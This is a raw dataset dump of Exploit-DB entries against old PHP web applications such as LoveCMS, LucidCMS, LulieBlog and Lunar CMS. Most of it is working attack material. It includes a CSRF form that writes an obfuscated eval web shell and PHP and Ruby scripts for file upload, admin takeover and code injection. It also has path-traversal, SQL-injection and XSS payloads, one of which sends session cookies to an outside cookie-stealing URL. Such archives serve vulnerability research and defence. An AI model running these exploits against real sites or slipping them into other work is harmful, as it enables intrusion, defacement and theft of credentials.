deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15849
Description: LoveCMS 1.6.2 - Cross-Site Request Forgery / Code Injection
Type: webapps
Platform: php
Date: 2010-12-29
Author: hiphop

Exploit:
#Exploit Title    :  LoveCMS 1.6.2 - CSRF Code Injection Vulnerability
#Script   : LoveCMS 1.6.2
#Language : PHP
#Download : http://sourceforge.net/project/showfiles.php?group_id=168535
#Date     : 2010/12/27
#Dork     : "Powered by LoveCMS"
#Found    : by hiphop
#contact me :[PII_REDACTED]@qq.com


source of /lovecms/system/admin/console.php

    16:    $code = stripslashes($_POST['phpcode']);
    18:    eval($code);


POC:

<html>
<h3>LoveCMS 1.6.2 CSRF Code Injection Vulnerability</h3>
<h3>shell is php eval($_POST[cmd]); at /lovecms/system/admin/shell.php</h3>
    <form name="p0c" action="http://domain/system/admin/console.php" method="post">
    <input type="hidden" name="phpcode" id="console" value="$filen=chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);">

    <input type="submit" value="Get Shell" name="submit" >
</form>
Exploit-DB #7233
Description: LoveCMS 1.6.2 Final (Download Manager 1.0) - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-25
Author: cOndemned

Exploit:
<?php

/**
* LoveCMS 1.6.2 Final (Download Manager v1.0) Arbitrary File Upload Exploit
* Discovered && Exploited by cOndemned
*
* Download:
*	http://www.thethinkingman.net/modules/download_manager/?id=16
*
* Description:
*	This exploit allows attacker to upload any type of file [no extension
*	filtration] ex. php shell... 
*
*	Uploader is adding random number on the begining of file name so user
*	have to check it manually.
*
*	for more information check /modules/download_manager/admin/index.php
*	lines 10 - 27.
*
* Greetz:
*	ZaBeaTy, str0ke, Necro, doctor, sid.psycho, 0in, TBH & Avantura...
*
*/

	if($argc != 3)
	{
		printf("\n[~] Usage: php %s <target> <localfile>\n", $argv[0]);
		printf("[~] Ex.: php %s localhost/lovecms shell.php\n\n", $argv[0]);
		exit;	
	}

	list($script, $target, $file) = $argv;

	$xpl = curl_init();

	curl_setopt($xpl, CURLOPT_URL, $target . '/modules/download_manager/admin/index.php');
	curl_setopt($xpl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($xpl, CURLOPT_POST, true);
	curl_setopt($xpl, CURLOPT_POSTFIELDS, array('file' => '@' . $file, 'submit' => 'Upload'));
	
	curl_exec($xpl);
	curl_close($xpl);

	printf("[!] Go to the %s/uploads/ and check U'r file :)\n\n", $target);
	
?>

# milw0rm.com [2008-11-25]
Exploit-DB #7191
Description: LoveCMS 1.6.2 Final (Simple Forum 3.1d) - Change Admin Password
Type: webapps
Platform: php
Date: 2008-11-22
Author: cOndemned

Exploit:
<?php

/**
* LoveCMS 1.6.2 Final (Simple Forum 3.1d) Change Admin Password Exploit
* Vulnerability found & exploited by cOndemned
*
* Download: 
*	http://www.thethinkingman.net/modules/download_manager/?id=4
*
* Description:
*	This exploit changes forum admin password (ex. attacker will be
*	able to delete threads/topics) and sets allowHTML to true 
*	(attacks such as XSS/HTML Injection will be possible)
*
*/

	$target	= 'localhost/audits/lovecms';
	$pass	= 'timetodie';
	$buff = array
		(
			'language'		=> 'en',
			'forumWidth'		=> '500',
			'forumAlign'		=> 'left',
			'forumTitle'		=> 'Simple Forum',
			'threadsPerPage'	=> '15',
			'wordLength'		=> '50',
			'autoDelete'		=> '12',
			'adminPass'		=> $pass,
			'allowHTML'		=> '1',
			'allowURLs'		=> '1',
			'allowUBBs'		=> '1',
			'enableIDs'		=> '0',
			'enableSignature'	=> '1',
			'enableRefererCheck'	=> '0',
			'enableAgentCheck'	=> '0',
			'agents'		=> 'Mozilla.Opera.Lynx.Mosaic.amaya.WebExplorer.IBrowse.iCab',
			'nonos'			=> 'fuck.asshole',
			'update'		=> 'Update'
		);

	$xpl = curl_init();

	curl_setopt($xpl, CURLOPT_URL, $target . '/modules/simpleforum/admin/index.php');
	curl_setopt($xpl, CURLOPT_POST, 1);
	curl_setopt($xpl, CURLOPT_POSTFIELDS, $buff);

	curl_exec($xpl);
	curl_close($xpl);

	echo "[!] Go to the website and check if U can login.\r\n";	
?>

# milw0rm.com [2008-11-22]
Exploit-DB #7022
Description: LoveCMS 1.6.2 Final - Arbitrary File Delete
Type: webapps
Platform: php
Date: 2008-11-06
Author: cOndemned

Exploit:
+-------------------------------------------------------------------------------------------------------+
|													|
|	Name		:	LoveCMS 1.6.2 Final Arbitrary File Delete Vulnerability			|
|	Author		:	cOndmened								|
|	Greetz		:	ZaBeaTy, rtgn, doctor, elmasterlow, str0ke, t0pP8uZz & all friends	|
|	Details		:	Ofc, we can only delete files from places that we have permission	|
|				to access x]								|
|													|
+-------------------------------------------------------------------------------------------------------+


source of/lovecms/system/admin/images.php

	41.	if($_GET['delete'])

	42.	{

	43.		$filename = $_GET['delete'];

	44.		$sql = $db -> db_query("DELETE FROM " . DB_PREFIX . "images 

	45.		WHERE filename = '$filename'");

	46.	

	47.		unlink(LOVE_ROOT . '/uploads/' . $filename);

	48.		unlink(LOVE_ROOT . '/uploads/thumbs/' . $filename);

	49.

	50.		redirect_with_message('msg', 'LANG_088');

	51.	}



Description :

	41.	name of file to delete is being sended using GET method in variable called 'delete'
	47.	here the requested file is being erased
		
		rest of the code block doesn't matters

Proof of concept :

	http://[host]/[loveCMS-path]/system/admin/images.php?delete=../../../[local-file]

# milw0rm.com [2008-11-06]
Exploit-DB #15831
Description: LoveCMS 1.6.2 Final - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-12-25
Author: cOndemned

Exploit:
LoveCMS 1.6.2 Final Multiple Local File Inclusion Vulnerabilities
found by cOndemned
vendor: http://lovecms.org/
download: http://sourceforge.net/project/showfiles.php?group_id=168535

source of /system/admin/modules.php

	13.	if(isset($_GET['install']))
	14.	{
	15.		$include = $_GET['install'];
	16.		
	17.		include(LOVE_ROOT . '/modules/' . $include . '/info.php');

	[...]

	61.	if(isset($_GET['uninstall']))
	62.	{
	63.		$include = $_GET['uninstall'];
	64.		
	65.		include(LOVE_ROOT . '/modules/' . $include . '/info.php');


proof of concept

	http://[host]/[lovecms]/system/admin/modules.php?install=../../../../../etc/motd%00
	http://[host]/[lovecms]/system/admin/modules.php?uninstall=../../../../../etc/motd%00
Exploit-DB #6209
Description: LoveCMS 1.6.2 Final - Remote Code Execution
Type: webapps
Platform: php
Date: 2008-08-06
Author: PoMdaPiMp

Exploit:
#!/usr/bin/ruby
#
## Exploit by PoMdaPiMp!
## ---------------------
##   pomdapimp(at)gmail(dotcom)
##
##   LoveCMS Exploit Series
##   Episode 1: adding a side block
##
##   Description: add some php into a block container
##                on the side of the site. phpinfo() is called.
##
##   Usage: ./LoveCMS_1_blocks.rb <host>
##   Ex:    ./LoveCMS_1_blocks.rb http://site.com/lovecms/
##
##   Tested on: lovecms_1.6.2_final (MacOS X, Xampp)
#

require 'net/http'
require 'uri'

@host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/'

@host = ARGV[0] if ARGV[0]
@host += @host[-1, 1].to_s != '/' ? '/' : ''

if @host
  # --
  puts " + LoveCMS Exploit Series. #1: Adding side blocks."
  puts
  puts " : Attacking host: " + @host

  # --
  # Insert a new block
  res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/addblock.php'),
                            {'submit'=>'1', 'title'=>'H4Ck', 'content' => 'phpinfo();', 'type' => 'php'})
  puts " :: Block inserted."

  # --
  # Build post variable for next step
  post_vars = {'submit' => 1}
  (1..50).each do |id|
    post_vars['position' + id.to_s] = 1
    post_vars['height' + id.to_s] = 1
    post_vars['visible' + id.to_s] = 1
  end
  # Make the block visible
  res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/blocks.php'), post_vars )
  puts " :: Blocks displayed."

  # --
  puts
  puts " - Visit " + @host
end

# milw0rm.com [2008-08-06]
Exploit-DB #6210
Description: LoveCMS 1.6.2 Final - Update Settings
Type: webapps
Platform: php
Date: 2008-08-06
Author: PoMdaPiMp

Exploit:
#!/usr/bin/ruby
#
## Exploit by PoMdaPiMp!
## ---------------------
##   pomdapimp(at)gmail(dotcom)
##
##   LoveCMS Exploit Series
##   Episode 3: changing site settings ...
##
##   Description: Simply change the site settings !
##
##   Usage: ./LoveCMS_3_settings.rb <host>
##   Ex:    ./LoveCMS_2_themes.rb http://site.com/lovecms/
##
##   Tested on: lovecms_1.6.2_final (MacOS X, Xampp)
#

require 'net/http'
require 'uri'

@host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/'
@post_vars = {}
@post_vars['submit'] = 1
@post_vars['pagetitle'] = 'P4g3T1t1le'
@post_vars['sitename'] = 'SiteN4me'
@post_vars['slogan'] = 'By PoMdaPiMp.'
@post_vars['footer'] = 'PoMdaPiMp was here.'
@post_vars['description'] = 'Ruby is a gift.'
@post_vars['keywords'] = 'PoMdaPiMp, hack'
@post_vars['encoding'] = 'utf-8'
@post_vars['tips'] = 'off'
@post_vars['console'] = 'on'
@post_vars['debugmode'] = 'on'
@post_vars['module'] = 2
@post_vars['love_root'] = ''
@post_vars['love_url'] = ''

@host = ARGV[0] if ARGV[0]
@host += @host[-1, 1].to_s != '/' ? '/' : ''

if @host
  # --
  puts " + LoveCMS Exploit Series. #3: Messing with settings."
  puts
  puts " : Attacking host: " + @host

  # --
  # Changing settings
  res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/themes.php'),
                            @post_vars)
  puts " :: Values set."
  @post_vars.each do |k, v|
    puts "    " + k.to_s + " > " + v.to_s
  end

  # --
  puts
  puts " - Visit " + @host
end

# milw0rm.com [2008-08-06]
Exploit-DB #30364
Description: Lowest Unique Bid Auction - SQL Injection
Type: webapps
Platform: php
Date: 2013-12-16
Author: 3spi0n

Exploit:
##################################################################################
  _____                 _       _   _                _____           
 |  __ \               | |     | | (_)              / ____|          
 | |__) |_____   _____ | |_   _| |_ _  ___  _ __   | (___   ___  ___ 
 |  _  // _ \ \ / / _ \| | | | | __| |/ _ \| '_ \   \___ \ / _ \/ __|
 | | \ \  __/\ V / (_) | | |_| | |_| | (_) | | | |  ____) |  __/ (__ 
 |_|  \_\___| \_/ \___/|_|\__,_|\__|_|\___/|_| |_| |_____/ \___|\___|
                                                                                                                                        
##################################################################################                                
Lowest unique bid auction, SQLi Vulnerabilities
Product Page: http://www.auctionwebsitescript.com/lowest_uniq_bid_auction.html
Script Demo: http://lowbidauction.auctionwebsitescript.com/

Author(Pentester): 3spi0n
On Web: RevolutionSec.Com - Janissaries.Org
On Social: Twitter.Com/eyyamgudeer
##################################################################################

[+] (index.php, show Param)
>>> [url]/index.php?show=static_page&id='2
Exploit-DB #3735
Description: LS Simple Guestbook 1.0 - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-04-14
Author: Gammarays

Exploit:
########################################################
#   Special Greetings To - Timq,Warpboy,The-Maggot     #
########################################################

File: index.php
Affects: LS simple guestbook (v1)
Date: 15th April 2007

Issue Description:
===========================================================================
LS simple guestbook fails to sanitize user input that it writes to the
posts.txt file when the user leaves a message, this file is then included
causing any php code within it to be run.
===========================================================================

Scope:
===========================================================================
An attacker can inject arbitrary php code and potentially execute commands
on the system.
===========================================================================

Recommendation:
===========================================================================
Add the following line of code in index.php:

$message = strip_tags($message);

just above:

if ($message != "") {$file = fopen("$dataf","a");
===========================================================================


Example:

name = Test
message = <?php phpinfo(); ?>


Discovered By: Gammarays

# milw0rm.com [2007-04-14]
Exploit-DB #26655
Description: ltwCalendar 4.1.3 - 'calendar.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-29
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15636/info

ltwCalendar is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Versions 4.1.3 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/calendar.php?display=event&id=[SQL]
Exploit-DB #26300
Description: LucidCMS 2.0 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-27
Author: X1ngBox

Exploit:
source: https://www.securityfocus.com/bid/14951/info

lucidCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/[cms]/index.php?<script>alert(document.cookie);</script>
http://www.example.com/[cms]/?<script>alert(document.cookie);</script>
Exploit-DB #27563
Description: LucidCMS 2.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-03
Author: Rusydi Hasan

Exploit:
source: https://www.securityfocus.com/bid/17360/info

LucidCMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.


Version 2.0.0 RC4 is reported to be vulnerable; other versions may also be affected.

http://www.example.com/[lucidcms_dir]/index.php?command=login'>[XSS_here]

http://www.example.com/[lucidcms_dir]/index.php?i18n=cs_CZ&command=panel'>[XSS_here]
Exploit-DB #26307
Description: LucidCMS 2.0 - Login SQL Injection
Type: webapps
Platform: php
Date: 2005-09-29
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14976/info

lucidCMS is prone to to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Ultimately an attacker could exploit this vulnerability to gain administrative privileges. This could facilitate a compromise of the underlying system; other attacks are also possible.

The following proof of concept demonstrates data to be entered into the login and password fields of the login page:

login: 'UNION(SELECT'1','admin','admin','FAKE@example.com','d41d8cd98f00b204e9800998ecf8427e','1')/*
pass: [nothing]
Exploit-DB #29342
Description: Luckybot 3 - 'DIR' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-12-26
Author: Red_Casper

Exploit:
source: https://www.securityfocus.com/bid/21765/info

Multiple remote file-include vulnerabilities affect Luckybot because the application fails to properly sanitize user-supplied input before using it in a PHP 'include()' function call. 

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. 

Version 3 is vulnerable to this issue; other versions may also be affected.

NOTE: This BID is being retired because further analysis reveals that these issues are not exploitable.

http://www.example.com/run.php?dir=SHELL?&file=
http://www.example.com/classes/ircbot.class.php?dir=SHELL?&file=
Exploit-DB #4912
Description: LulieBlog 1.0.1 - Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2008-01-15
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
LulieBlog 1.0.1 (delete id) Remote Admin Bypass Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

bug found by ka0x
contact: <ka0x01[at]gmail.com>
D.O.M TEAM 2008
we are: ka0x, an0de, xarnuz
#from spain

download: http://www.comscripts.com/scripts/php.lulieblog.2138.html

Description:
- The bug will allow us to acept sent comments in the articles,
erase comments and delete articles


accept comments:
http://[host]/Admin/comment_accepter.php?id=[id_comment]

------------------
$id=$_GET["id"];
$sql="UPDATE ".PREFIX_TABLES."commentaire  SET actif = 1 WHERE idcom  = '$id'";
------------------


delete comments:
http://[host]/Admin/comment_refuser.php?id=[id_comment]

------------------
$id=$_GET["id"];
$sql="DELETE FROM ".PREFIX_TABLES."commentaire WHERE idcom  = '$id'";
------------------


delete article:
http://[host]/Admin/article_suppr.php?id=[id_article]

------------------
$id=$_GET["id"];
$sql="DELETE FROM ".PREFIX_TABLES."article WHERE numart='$id'";
------------------


example:
---------
http://localhost/lulieblog/Admin/article_suppr.php?id=4
Delete the article with id=4

# milw0rm.com [2008-01-15]
Exploit-DB #4969
Description: LulieBlog 1.02 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-23
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####              LulieBlog Version 1.02 Remote Sql Injection                    ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://sourceforge.net/project/platformdownload.php?group_id=204083
#                                                                                   #
#Injection Adress :  http://Sitename/voircom.php?id=[SQL CODE]                      #
#                                                                                   #
#                                                                                   #
#[SQL CODE] : -1%27union/**/select/**/0,concat(nom_parametre,0x3a,0x3a,valeur_parametre),2,3,4,5/**/from/**/lulieblog_parametres/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#####################################################################################

# milw0rm.com [2008-01-23]
Exploit-DB #33830
Description: Lunar CMS 3.3 - Cross-Site Request Forgery / Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-06-21
Author: LiquidWorm

Exploit:
<!--

Lunar CMS 3.3 CSRF And Stored XSS Vulnerability


Vendor: Lunar CMS
Product web page: http://www.lunarcms.com
Affected version: 3.3

Summary: Lunar CMS is a freely distributable open sourcecontent
management system written for use on servers running the ever so
popular PHP5 & MySQL.

Desc: Lunar CMS suffers from a cross-site request forgery and a
stored xss vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'subject' and 'email'
POST parameters thru the 'Contact Form' extension/module is not properly
sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5188
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5188.php


11.06.2014

-->



CSRF Add Admin
===============

<html>
  <body>
    <form action="http://localhost/lunarcms/admin/user_create.php" method="POST">
      <input type="hidden" name="name" value="Hacker" />
      <input type="hidden" name="email" value="lab@zeroscience.mk" />
      <input type="hidden" name="password1" value="251ftw" />
      <input type="hidden" name="password2" value="251ftw" />
      <input type="hidden" name="access" value="0" />
      <input type="hidden" name="Submit" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

Access levels:

0: Super user
1: Admin
2: Website only



CSRF Stored XSS (Session Hijack)
=================================

<html>
  <body>
    <form action="http://localhost/lunarcms/admin/extensions.php?ext=contact_form&top" method="POST">
      <input type="hidden" name="email" value='"><script>alert(1);</script>' />
      <input type="hidden" name="error" value="2" />
      <input type="hidden" name="sent" value="1" />
      <input type="hidden" name="subject" value='"><script>var x = new Image();x.src='http://www.example.com/cookiethief.php?cookie='+document.cookie;</script>' />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
Exploit-DB #3117
Description: LunarPoll 1.0 - 'show.php?PollDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-12
Author: ilker Kandemir

Exploit:
-------------------------------------------------------------------------------------------------------------------

AYYILDIZ.ORG PreSents...


Script:LunarPoll
Script Download: dexxaboy.com/scripts/lunarpoll/download/

Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

Code:
require_once($PollDir.'/includes/functions.php');
require_once($PollDir.'/includes/IO.php');

-------------------------------------------------------------------------------------------------------------------

Exploit:  show.php?PollDir=http://attacker.txt?

-------------------------------------------------------------------------------------------------------------------

Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR
Special Tnx: AYYILDIZ.ORG

# milw0rm.com [2007-01-12]